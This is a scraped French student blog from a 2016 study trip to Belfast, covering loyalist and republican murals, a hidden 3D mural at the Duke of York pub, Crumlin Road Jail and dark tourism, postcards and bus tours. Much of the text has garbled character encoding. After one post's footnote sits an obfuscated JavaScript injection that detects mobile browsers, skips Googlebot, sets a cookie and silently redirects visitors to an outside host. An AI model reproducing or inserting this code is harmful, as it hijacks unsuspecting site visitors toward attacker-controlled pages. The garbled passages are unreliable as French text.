Tous les articles par belfasteditorialteam

Ce profil rassemble l'ensemble des étudiants ayant pris part au voyage d'étude.

ElA�ments loyalistes

Vous trouverez ici les divers A�lA�ments loyalistes que nous allons analyser pour notre travail et leur lien (ou non) avec des conflits A� l’international:

  • Murals de Shankill
    Pas de traces de solidaritA� internationale, images fortement ethno-centrA�es
  • Murals de la��International Wall
    Notamment la mural israA�lienne, oA? Netanyahu affirme son soutien A� la cause loyaliste
  • Murals de East Belfast
    Images bien plus aggressives qua��A� Shankill (pas de censure), A�galement ethno-centrA�es
  • Observation de terrain dans le quartier de Lower Shankill Estate (rA�sidentiel)
    Pas de traces de solidaritA� internationale (par exemple absence de drapeaux supportant da��autres causes)
  • Magasin A� Shankill Band Shop A� dans le quartier de Shankill, ainsi que la��inventaire de celui-ci (drapeaux israA�liens)
    Le drapeau israA�lien A�tait la seule trace de solidaritA� trouvA�e. Les propriA�taires du magasin sont peu soucieux quant A� la��origine du produit (Made in Taiwan)
  • Journal propagandiste A� The Purple Standard A� achetA� dans le magasin mentionnA� ci-dessus
    Aucune rA�fA�rence A� da��autres conflits
ElA�ments rA�publicains
Retour A� la page « SolidaritA� internationale »

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Le mural cachA�

Par Chantal Vetter et Celeste Tran

Bobby Sands et phA�nix, UDA et Union Jack, rA�publicaines ou loyalistes, les peintures murales de Belfast entrent dans un camp ou dans la��autre selon les symboles qua��elles reprA�sentent. Toutefois, certaines ne sa��affilient pas directement A� un cA?tA� en particulier. Ce sont les peintures murales socio-culturelles. Lors de notre voyage, nous avons remarquA� que les diffA�rents acteurs touristiques (chauffeurs de black cab, guides du hop-on hop-off bus ou encore du Andi Tyrie Interpretive Centre, a��) ne les mentionnent quasiment pas. La��accent est portA� sur les murals qui tA�moignent directement du conflit, mais nous en avons dA�couvert un au hasard, lors de notre promenade au centre-ville, le samedi.

Le mural se cachait dans une cour intA�rieure, sur le cA?tA� da��une ruelle bordA�e de pubs. Il semblait assez rA�cent et nous a attirA� par ses couleurs. Peints sur les cA?tA�s du passage qui mA?nent dans la cour, diffA�rents personnages, regroupA�s dans ce qui semble A?tre un pub, nous regardent entrer. Des sportifs et des artistes da��Irlande du Nord se cA?toient. La��un da��eux est le guitariste Rory Gallagher (la��homme avec la chemise orange quadrillA�e) et tout A� gauche se trouve le flA�tiste Sir James Galway.

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Mural Duke of York_Sir James Galway et Rory Gallagher, Chantal Vetter, 5.3.2016,A�Belfast
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Mural Duke of York_diffA�rentes personnalitA�s Belfastoises, Chantal Vetter, 5.3.2016, Belfast

Le mural dans la cour a des effets 3D. Il a A�tA� rA�alisA� par Claran Gallagher, jeune peintre muraliste[1], qui a notamment aussi travaillA� avec Danny Devenney et Mark Ervine. En partenariat avec le patron du cA�lA?bre pub Duke of York, Claran a voulu donner une touche plus humoristique A� son mural et moins politique. La��A�uvre da��art est trA?s riche en allusions cinA�matographiques (King Kong, la sA�rie policiA?re The Fall qui se joue A� Belfast, 1984 de George Orwell, Titanic, Game of Thrones filmA� dans les Titanic studios situA�s proche du porta��).A�Il figure aussi des monuments historiques (la grue jaune du constructeur naval Harland & Wolff, la tour de la��Horloge Albert, un black cab, le mural de William da��Orange… ) et des personnes cA�lA?bres (George Best le footballeur, Bill Clinton dans la��Europa Hotel, Rihanna …). Finalement, le mural est aussi tA�moin de la situation sociale de Belfast (sans-abris, violence entre gangs, dark tourism, loyautA� A� la reine da��Angleterre, rA�fugiA�…)

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Mural Duke of York_cA?tA� gauche, Celeste Tran, 5.3.2016, Belfast
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Mural Duke of York_Milieu, Celeste Tran, 5.3.2016, Belfast
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Mural Duke of York_CA?tA� droite, Celeste Tran, 5.3.2016, Belfast
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Mural Duke of York_DA�tail, Chantal Vetter, 5.3.2016, Belfast
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Mural Duke of York_Black Cab et Game of Thrones, Chantal Vetter, 5.3.2016, Belfast

Une grande partie de la culture belfastoise est reprA�sentA�e dans cette cour dissimulA�e, un petit tour A� pied dans le Cathedral Quarter et peut-A?tre que vous la��apercevrez.

Liens pour plus d’informations:

http://www.coroflot.com/ciarangallagher/Duke-of-York-3D-Mural-Belfast-Theme

http://members.virtualtourist.com/m/p/m/229f6c/

[1]A�Duke of York 3D Mural Belfast Theme, Coroflot, [en ligne], URLA�:A�http://www.coroflot.com/ciarangallagher/Duke-of-York-3D-Mural-Belfast-Theme, ConsultA� le 17.5.2016var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Documentation touristique et souvenirs

Au fil de notre sA�jour A� Belfast, nous avons rA�coltA� divers documents concernant l’offre touristique. Office du tourisme, boutiques, musA�es, A� chaque opportunitA� donnA�e, nous avons collectionnA� des documents, destinA�s aux touristes, ayant trait aux murals: brochures publicitaires, plans pour touristes, carte postale, etc.

A premiA?re vue, rA�colter souvenirs et documents touristiques traitant des murals de Belfast nous semblait A?tre un travail titanesque. Mais nous avons trA?s vite A�tA� forcA� de constater que peu de magasins ne vendent souvenirs et cartes postales en lien avec les murals. Il en va de mA?me pour les tours opA�rateurs, seule une poignA�e da��entre eux promeut les murals dans la publicitA� pour leur circuit.

Dans les liens ci dessous sont dA�taillA�s et analysA�s les documents rA�coltA�s sur place.

Flyers, brochures et plans

Cartes postales

Souvenirs

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Circuits Touristiques

Le programme officiel du voyage prA�voyait divers tours organisA� A� travers la ville.
Nous avons pu intA�grer ces diffA�rents circuits A� nos recherches, car ils nous ont permis de rendre compte de l’offre touristique en rapport aux murals, proposA� aux visiteurs.

Ci dessous vous trouverez les liens commentant les divers tours.

Notre voyage A� dA�butA� avec ce tour qui prA�sente la ville dans son ensemble. Seule la partie concernant les murals et les Troubles est prise en compte dans notre recherche.
Double Decker Bus Tour

Le Black Cab Tour est l’une des attractions autour desA�murals les plus populaires A� Belfast. Il s’agit d’anciens membres de l’IRA* reconvertis A� leur sortie de prison en chauffeur de taxi. Les Black Cabs ont la particularitA� de prA�senter aux touristes les quartiers impliquA�s dans les Troubles. Ainsi chaque conducteur effectue un tour diffA�rent, selon ses affinitA�s, son passA� et les demandes des visiteurs. Notre groupe s’A�tant rA�parti dans deux taxis diffA�rents, les deux trajets respectifs sont prA�sentA�s ci dessous.
Black Cab Tour A
Black Cab Tour B

Ouvert rA�cemment, le Andy Tyrie Interpretive Centre fait office de musA�e loyaliste A� Belfast. Sa visite A� A�tA� accompagnA�e d’un tour pA�destre A� travers le quartier de east Belfast.
East Belfast

*IRA – Irish Republican Army

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Crumlin Road Jail

 

Par Nesrine Ghulam & Kevin Sanchez

exemple de cellule avec mannequin
Photo Kevin Sanchez,  » le mannequin dans sa cellule », Crumlin Road Jail, Belfast, le 03 mars 2016
hall central
Photo Kevin Sanchez,  » hall central », Crumlin Road Jail, Belfast, le 03 mars 2016.
tunnel reliant la prison au tribunal
Kevin Sanchez,  » le tunnel reliant la prison au tribunal », Crumlin Road Jail, Belfast, le 03 mars 2016
tunnel reliant la prison au tribunal
Kevin Sanchez, « Tunnel », Crumlin Road Jail, Belfast, le 03 mars 2016
instrument de torture
Kevin Sanchez,  » l’instrument de torture », Cumlin Road Jail, Belfast, le 03 mars 2016

salle de pendaison

Kevin Sanchez, « la pendaison », Crumlin Road Jail, Befast, le 03 mars 2016

La visite de la Crumlin Road Jail na��A�tait pas prA�vue au programme des activitA�s. Nous avons nA�anmoins dA�cidA� da��effectuer cette excursion car la��A�tude du dark tourism est centrale dans notre voyage et cette visite reprA�sente parfaitement ce thA?me. Nous avons donc choisi jeudi 3 mars 2016 de faire la��expA�rience personnelle du tourisme noir.

Crumlin Road Jail fA�t pendant longtemps la principale prison de Belfast. Ca��est en 1846 qua��elle a ouvert pour la premiA?re fois ses portes aux prisonniers. Cet A�tablissement pA�nitencier a A�tA� actif pendant 150 ans pour fermer ses portes en 1996. La prison dA�tenait tout type de prisonniers tels que les meurtriers, les suffragettes ou encore les prisonniers politiques emprisonnA�s durant la pA�riode des Troubles tant RA�publicains que Loyalistes.

Nous A�tions accompagnA�s da��un guide pour effectuer un tour de la prison da��une durA�e de 75 minutes environ. Nous avons retracA� pas A� pas les A�tapes da��un prisonnier aprA?s sa condamnation au Palais de Justice se trouvant de la��autre cA?tA� de la rue.

La visite a commencA� par la salle des arrivA�es oA? les nouveaux prisonniers quittaient leurs habits de ville pour se vA?tir de la��uniforme carcA�ral. Nous nous sommes ensuite rendus dans le Tunnel qui comme son nom la��indique est un A�troit passage sous terre reliant le tribunal A� la prison. La visite sa��est poursuivie par le quartier des officiers puis par celui des prisonniers. Des instruments de tortures nous A�taient montrA�s et le guide nous a fait le rA�cit des heurts perpA�trA�s dans la prison entre RA�publicains et Loyalistes.

Le moment le plus marquant de la visite fA�t la piA?ce servant A� la��exA�cution de certains prisonniers. Notre guide nous a fait le rA�cit dA�taillA� des derniA?res heures du condamnA� A� mort jusqua��A� sa pendaison. Nous A�tions face A� la corde qui A�tait utilisA�e pour pendre ces prisonniers. Nous sommes ensuite descendus un niveau plus bas et avons suivi le chemin que faisait le corps aprA?s sa pendaison. La description du processus A�tait trA?s prA�cise, presque thA�A?trale. Notre guide A�tait un conteur expA�rimentA�, il jouait sur la fascination macabre que pouvait provoquer ce genre de scA?ne chez les touristes.

Cette visite nous a permis da��A?tre au cA�ur da��une expA�rience de dark tourism. Nous avons pu en comprendre les mA�canismes ainsi que les diverses motivations. Notre guide nous a bien expliquA� que certains touristes payaient dans le but da��A?tre impressionnA�s par ces histoires morbides et macabres, alors que da��autres en faisaient la��expA�rience par devoir de mA�moire. Il y a A�galement le point de vue de notre guide, pour qui relater la��histoire permet da��A�viter qua��elle ne tombe dans la��oubli tout en ayant un rA?le pA�dagogique. Selon lui, raconter et prA�senter ainsi la��histoire a un effet gA�nA�ralement positif sur le visiteur. Cela permet de ne pas faire table rase du passA�, da��entretenir la mA�moire et la��histoire locale tant dans les bons que les mauvais aspects.

Site internet de la prisonA�: http://www.crumlinroadgaol.com/

Crumlin Road Gaol, Visitor attraction and conference centre. 53-55 Crumlin Road, Belfast, BT146SA�A�A�A�A�A�

RA�fA�rences bibliographiques a�� articles scientifiques

LIARTE SA�bastien, DELACOUR HA�lA?ne, BORNAREL FrA�dA�ric, VIRGILI Sandrine, A� A�A� Ja��irai payer sur vos tombes A�a�� OpportunitA�s, enjeux et limites de la crA�ation de valeur A�conomique A� travers le dark tourism A�, [En ligne], 2A?me confA�rence de la��Association Francophone de Management du Tourisme, Centre de recherche CEREFIGE, UniversitA� de Lorraine, pp 1-12, 2015, URL : http://www.afmat.org/images/images/PDF/ACTES2015/LIARTEetal.pdf

RAFFESTIN, Claude, Nature et culture du lieu touristique. Micros, num. 2, 1985, p-5-13

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Bibliographie et Sitographie intA�grale

Bibliographie

ChA�roux, ClA�ment, Diplopie, Paris, Le Point du Jour, 2009

Cet ouvrage sa��A�tend sur la��utilisation faite par la presse A�tasunienne des images des attentats du 11 septembre 2001. Bien que les thA�matiques et les recherches soient rA�solument diffA�rentes la��une de la��autre, la��ouvrage de la��historien de la photographie ClA�ment ChA�roux nous donne certaines clefs pour penser et aborder la rA�pA�tition da��une image. Il prend la��exemple de la tristement cA�lA?bre photographie de la boule de feu crA�A�e par la��explosion des rA�servoirs da��hydrocarbure de la��avion ayant percutA� la tour sud du World Trade Center, qui est apparue en premiA?re page dans 41% des journaux amA�ricains, entre le 11 et le 12 septembre. Dans une idA�e similaire A� la sienne, nous tenterons da��A�tablir un classement des murals les plus reprA�sentA�s, dans des supports destinA�s aux touristes. De plus, la��ouvrage par son analyse dA�taillA�e, autant des images, que de leurs mise en boucle et du sentiment de dA�jA�-vu les entourant, nous donnes des outils afin d’apprA�hender nos rA�flexions sur la rA�pA�tition da��un motif.

HA�hnel-Mesnard, C., LiA�nard-Yeterian, M., Marinas, C. (dirs), Culture et mA�moire: reprA�sentations contemporaines de la mA�moire dans les espaces mA�moriels, les arts du visuel, la littA�rature et le thA�A?tre., Palaiseau, A�d. A�cole Polytechnique, 2008

Cet ouvrage sa��intA�resse A� la��expression de la mA�moire commune sur divers support, notamment visuel. Ca��est notamment la contribution de Julie Mc Donald et Declan Mc Cavana, A� travers leurs article The Walls of Belfast Speak Louder Than Words qui se rapporte le plus A� notre sujet de recherche. Il se penche en effet sur la question de la��expression de la mA�moire du conflit ayant divisA� la ville, A� travers la��analyse de Murals. Nous avanA�ons en effet la��hypothA?se que les images-types, ca��est A� dire les reprA�sentations les plus frA�quentes des fresques, que nous auront observA�es et dA�finit, seront vraisemblablement fortement liA�e A� la mA�moire de certains A�vA�nements ou certaines personnalitA�s du conflit. Cet ouvrage, et la��article de Mc Donald et Mc Cavana en particulier, nous permettent de comprendre et da��aborder les enjeux de la mA�moire sur un support le visuel.

MFS Press, The Belfast Mural Guide, Belfast, 2014

Ce petit guide de poche est un recueil des murals les plus populaires et de quelques sites en lien avec les Troubles. Il A� l’avantage de les situer prA�cisA�ment et de donner de l’information quant au motif de la fresque. Pourtant, il n’est de loin pas exhaustif. AchetA� dans la trA?s sA�lective boutique rattachA�e au siA?ge de Sinn FA�in, parti politique de l’ancien IRA,A� l’ouvrage prA�sente toutefois desA�murals partisans des deux cA?tA�s du conflit.

Morand, A-C., MA�moire de Belfast ou Le processus de la mise en tourisme de la mA�moire et de leurs expressions spatiales, Exemple appuyA� sur Belfast (Irlande du Nord). MA�moire professionnel sous la direction de Maria Gavari-Barbas, A�Paris, UniversitA� de Paris 1 – PanthA�on Sorbonne, 2008-2009.

Ce mA�moire sa��intA�resse A� la��A�mergence des pratiques touristiques autour des troubles en Irlande du Nord. Anne-CA�line Morand y A�tudie notamment les enjeux autour de la mise en tourisme des tA�moignages du conflit, A� travers la��A�tude de la��offre et de la demande mais aussi des divers discours A�mis par des agents touristique.

 

 


Sitographie

Belfast Murals – http://belfast-murals.co.uk/

Ce site internet rassemble un grand nombre des murals de la ville, qua��il place sur une carte interactive. De plus, il divise les fresques en trois catA�gories: les murals loyalistes, les murals unionistes ainsi que les murals dA�signA�s comme A�tant sociaux ou culturels, qui reprA�sentent les fresques plus rA�centes, gA�nA�ralement mandatA�es par la ville au cours du processus de paix, pour renforcer une identitA� rA�gionale. Ce site internet nous permettra de localiser gA�ographiquement les murals que nous A�tudierons. Na��A�tant toutefois pas toujours trA?s prA�cis, ni absolument complet, il sera utilisA� en alternance avec la��outil Street View de Google.

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Interviews dans la rue

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ConfA�rences

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Cartes postales

Afin de nous faire une idA�e de l’image des murals envoyA�e vers l’extA�rieur, vous avons cherchA�s A� collectionner des cartes postales.

Pourquoi des cartes postales?

En effet, les cartes postales A� vocation touristique sont vendues aux visiteurs dans l’objectif d’A?tre partagA�es avec un rA�seau A�tranger. Ainsi une carte postale doit remplir certaines conditions. PremiA?rement, elle doit procurer au touriste envoyant la carte A� une tierce personne une forme de fiertA�, bien souvent inconsciente. L’envoi de carte postale signifie en effet A�regarde oA? je suis et oA? tu n’es pas!A�, si tel n’A�tait pas le cas, nous nous contenterions de lettre sur papier blanc. L’image reprA�sentA�e doit donc vendre le lieu d’oA? elle provient, afin d’allA�cher le rA�cepteur de la carte.

L’analyse de cartes postales nous est donc apparu comme un moyen de rendre compte de ceux qui, parmi les nombreux murals diffA�rents de Belfast, A�taient jugA�s comme A�tant particuliA?rement reprA�sentatif de ce que la ville a de mieux A� offrir.

On comprend que la carte postale joue un rA?le clef dans l’entretien d’un cercle d’image, puisse qu’elle permettra au visiteur ayant reA�u par le passA� un telle carte, une fois sur place, de rattacher celle-ci A� son expA�rience prA�sente. De part ce « dA�jA�-vu », l’A�lA�ment reprA�sentA�, dans notre cas, un mural, lui apparaA�tra comme A�tant pittoresque1, c’est A� dire digne d’A?tre vu ainsi que d’A?tre photographiA�.

A� Le touriste identifie un lieu […] comme pittoresque parce qu’il l’a dA�jA� vu et qu’il peut le comparer A� ce qu’il connaA�t dA�jA�, soit par son expA�rience, soit grA?ce aux images qui en existentA�2

La rA�colte

Au fil de nos journA�es A� Belfast, nous avons donc traquA�s puis achetA�s les cartes postales comportant des photographies de murals. Nous avons toutefois A�tA� forcA�s de constater que le choix A�tait A�restreint. En une semaine, il nous a A�tA� possible de rA�colter 6 cartes, d’intA�rA?t plus ou moins important pour notre recherche dans des lieux divers. Si nous avons trouvA� la premiA?re dans un supermarchA� alimentaire et deux autres dans un bureau de poste, les trois restantes ont A�tA� achetA�es dans deux magasins de souvenirs diffA�rents.

Les 6 cartes postales prA�sentA�es

La premiA?re carte [fig.1], trouvA�e comme susmentionnA� dans une supermarchA� alimentaire, semble A?tre la plus frA�quente. En effet, nous l’avons aperA�u dans diverses boutiques au fil de notre sA�jour. Huit dA�tails de murals ou fresques en entier y sont reprA�sentA�.

DiffA�rentes figures emblA�matiques en lien avec les Troubles y sont visible: la Reine da��Angleterre [en haut A� gauche], le Duc d’Orange [en haut, 3em A�cusson depuis la gauche], ou encore l’activiste dA�cA�dA� lors d’une grA?ve de la faim et A�rigA� au rang de martyr, Bobby Sands [en bas A� gauche].

Selon nos recherches, la majoritA� des fresques reprA�sentA�es sur cette carte postale ne sont plus existantes: elles ont A�tA� recouvertes ou, A� l’instar de la « Mona Lisa de Shankill » (en bas, 2em A�cusson depuis la gauche), dA�truites rA�cemment.

Les deux cartes suivantes [fig. 3 et fig.4], trouvA�es dans une petite boutique sur Falls Road reprA�sentent des fresques et des dA�tails de fresques situA�es dans west Belfast, notamment du International Peace Wall. Les cartes se positionnent du cA?tA� unioniste du conflit. Ceci peut A?tre interprA�tA� par le choix des motifs prA�sentA�s: plusieurs dA�tails de murals sur les Blanketstrikers [en haut au centre et en bas A� droite de fig.3], avec notamment Kieran Nugent, [au centre de fig.2] premier prisonnier rA�publicain A� se vA?tir de sa couverture, refusant ainsi de porter l’uniforme imposA� aux prisonniers, et revendiquant de la sorte le statut de prisonnier politique3. Mais aussi un tA�moignage de solidaritA� A� la Palestine, particuliA?rement revendiquA� par le cA?tA� rA�publicain [fig.3 en haut A� gauche]. Ainsi que des murals commA�morant divers A�vA?nements ayant marquA� la communautA� catholique en Irlande du Nord, tel que l’attaque du Milltown Cemetery, lors de l’enterrement de trois membres de l’IRA, tuA� A� Gibraltar en 1988 par des soldats de l’armA�e britannique4.

La qualitA� d’impression, le papier utilisA� ainsi que les polices d’A�criture imprimA�es au dos des cartes postales, laissent avancer qu’il s’agit d’une production amateur. La mention A� This postcards are only available in Belfast, at Green’s, Falls Road A� sur le revers de la carte suppose que les cartes sont produites par la boutique qui les vend.

A� This Postcards are only available in Belfast, at Green’s, Falls Road A� Cette inscription au dos des cartes postales nA�2 et nA�3, et notamment l’erreur de terminaison, laisse supposer une production A� A�chelle rA�duite.

Les trois cartes postales restantes comprennent des murals dit « neutres », ne s’inscrivant pas dans le conflit et la pA�riode des troubles. Il s’agit en effet, d’une carte portant sur la thA�matique de l’auteur des Chroniques de Narnia, C. S. Lewis [fig.4], ainsi qu’une deuxiA?me carte [fig.5] reprA�sentant les chantiers navals ayant construit le Titanic.

La derniA?re des cartes [fig.6] sort un peu du lot, car elle donne A� voir l’Ulster de maniA?re plus large. Divers paysages verdoyants y sont reprA�sentA� dans de petits mA�daillons. L’un d’eux, dans la deuxiA?me colonne, reprend un dA�tail de la fresque des chantiers du Titanic. Cet A�lA�ment est le seul qui renvoi A� A�de l’urbain, les autres images reprA�sentant surtout des ruines et de la nature, A� la��exception de la pancarte « Old Bushmills » ainsi que des bateaux.

Observations

Au vue de la difficultA� rencontrA�e A� trouver des cartes postales comprenant des motifs avec tirA� ou reprA�sentant des murals, nous constatons une rA�ticence A�vidente face A� ce type de documents.

Sur les six cartes achetA�es, quatre sont entiA?rement consacrA�e A� des fresques, la sixiA?me [fig.6] ne reprA�sentant qu’un extrait de mural parmi divers motifs.

La moitiA� des cartes rA�coltA�es a pour objet des fresques liA�es aux Troubles [fig.1, fig.2, fig.3], l’autre moitiA� reprA�sentant des murals dit « neutre » [fig.4, fig.5, fig.6]. Des trois cartes postales en lien avec le conflit, deux, [fig.2 et fig.3] soutiennent, par le choix des motifs reprA�sentA�s, l’un des acteurs. De plus, ces deux cartes ne sont pas produites par une agence officielle, A� l’inverse des quartes restantes, mais sont produite de maniA?re amateur.

N.F. – S.P. – L.Z.


1- Gauthier, L., Staszak, J.-F., ClichA�s exotiques, Paris, A�ditions de Monza, 2015, p.59
2- Ibidem
3- MFS Press, The Belfast Mural Guide, Belfast, 2014, p.13
4- Ibidem, p.16

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Double Decker Bus Tour

Le jour de notre arrivA�e A� Belfast, nous nE?avons perdu aucun temps pour commencer notreA�enquA?te. AprA?s avoir dA�posA� nos affaires A� lE?auberge Vagabonds, nous sommes partis faire un tour de la ville en cA�lA?bre bus rouge A� deux A�tages de Hop On Hop Off. MalgrA� le temps gris, venteux et trA?s froid, bon nombre da��entre nous sont montA�s en haut pour vivre lE?expA�rience culte du bus impA�riale.

Serrant fort nos A�charpes et se blottissant lE?un contre lE?autre sur les siA?ges, nous A�coutionsA�la guide commenter la premiA?re partie du tour: le quartier du Titanic. Elle nous a montrA� lesA�quais oA? prenait forme le navire lA�gendaire, ainsi que les studios de film qui contribuent A�A�la transformation actuelle de la ville. Nous avons appris aussi divers faits sur Belfast; leA�navire soeur du Titanic, le S.S. Nomadic qui a A�tA� transformA� en archive national pourA�retrouver ses potentiels ancA?tres Irlandais; le marchA� de Saint-Georges qui a lieu chaque week-end; ainsi que diverses statues et endroits dits importants pour la culture de Belfast.

Bien que ces renseignements furent intA�ressants, ce na��est quE?A� lE?arrivA�e dans le quartier de Falls que lE?intA�rA?t de notre groupe sE?est mobilisA�, lorsque la guide nous a indiquA� les premiers murals. Puisque mon groupe se concentre sur la reprA�sentation des murals auprA?s des agents touristiques, nous sommes restA�s attentifs aux murals indiquA�s tout au long du parcours A� travers Falls et Shankill.

Le quartier de Falls sa��est tout de suite distinguA� par la prA�sence du drapeau tricolore Irlandais accrochA� aux fenA?tres, devant diffA�rents magasins et tachetA� un peu partout dans les rues. On remarque aussi la prA�sence de la langue gaA�lique: souvent les petits magasins portent des noms irlandais tout comme certains murals qui soutiennent la cause RA�publicaine. Nous sommes entrA�s dans le quartier depuis le sud-ouest de Falls Road et montA�s vers le nord-est.

Le premier mural que la guide nous a indiquA� se trouvait sur notre gauche: le mural de Cumann na mBan ou lE?IrishwomenE?s Council. Elle nous a rapidement racontA� lE?importance de la comtesse Markievicz qui apparaA�t dans ce mural, et son rA?le dans lE?Easter Rising. AprA?s, elle a attirA� notre attention sur le mural Plastic Bullets qui commA�more ceux qui ont A�tA� tuA�s par des balles en plastique du cA?tA� RA�publicain. Lors de la mention de ce mural, le guide nous a racontA� comment les deux communautA�s sont encore sA�parA�es par la religion, notamment dans les A�coles. On continuait le trajet le long de Falls Road avec des brA?ves indications sur les murals de The Easter Rising at the GPO Ardoyne et de SeA?n Mac Diarmada. Nous sommes passA�s A�galement devant le mural de Bobby Sands oA? la guide nous a expliquA�s quE?il A�tait le premier hunger striker mort de faim. Pas loin de ce mural se trouvait un autre qui rend hommage aux autres hunger strikers de lE?IRA. Finalement, pour conclure notre tour du quartier de Falls, le bus a continuA� son parcours en longeant le International Peace Wall. Elle a attirA� notre attention sur lE?attractivitA� touristique du mur, nous disant que cE?A�tait le plus grand a�?guestbooka�? du monde.

A� ce moment lA�, nous A�tions plusieurs A� descendre au niveau infA�rieur du bus pour A�chapper au froid et reprendre la sensation dans les mains. Traversant le No ManE?s Land, entre les barriA?res qui sA�parent les quartiers, nous sommes arrivA�s A� Shankill, une des parties loyaliste de Belfast. Nous avons remarquA� toute de suite le changement de drapeaux: celui de la Grande-Bretagne affichA� partout. Le quartier, tout comme celui de Falls, ne perdait aucune occasion da��afficher son appartenance. Bien que la guide ait pris un ton globalement neutre le long du parcours, nous avons remarquA� un changement subtile ici. LorsquE?elle nous a indiquA� le mural de The First BelfastA�BattalionA�Volunteers,A�elle rA�pA�tait A� plusieurs reprises que le paramilitaire a commis des actes dE?horreur, nous donnant lE?impression que cE?A�tait le cA?tA� E�mA�chantE? en quelques sorts du conflit. Cependant, en montrant les murals du King of Orange et du Northern Ireland Football, elle a repris son ton enthousiaste et neutre. Enfin, le tour a terminA� par Sandy Row et lE?usine de briques.

En somme, nous trouvons que le tour A�tait une bonne initiation A� la ville de Belfast. Nous A�tions surtout intA�ressA�s par la visite des quartiers de Falls et Shankill, et la grande partie que jouaient les murals et le conflit dans le tour. Pour ma part, ja��ai ressenti une sorte de pitiA� pour les habitants, longtemps piA�gA�s dans un conflit A� mon avis pas nA�cessaire. La��affichage fier des drapeaux, les murals sa��exprimant la fidA�litA� pour telle ou telle cause ma��ont fait penser A� une sorte da��endoctrinement: les habitants y vivants ont tellement la��habitude de cette division que celle-ci les rend en quelques sortes aveugles. AprA?s ce tour, je me suis posA� une premiA?re question sur le terrain: est-ce que, non seulement les agences touristiques mettent-elles en avant certains murals, mais est-il aussi possible que ces agences mettent en avant leur positionnement sur le conflit A� travers leurs guides ?

ParA�Nicole Frazier, Simon Paratte et LA�a Zignani

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MA�thodologies & DonnA�es rA�coltA�es

[en construction]

Vous trouverez ci-dessous les diffA�rentes catA�gories de documents et de donnA�es que nous avons rA�coltA� dans le cadre de nos recherches.

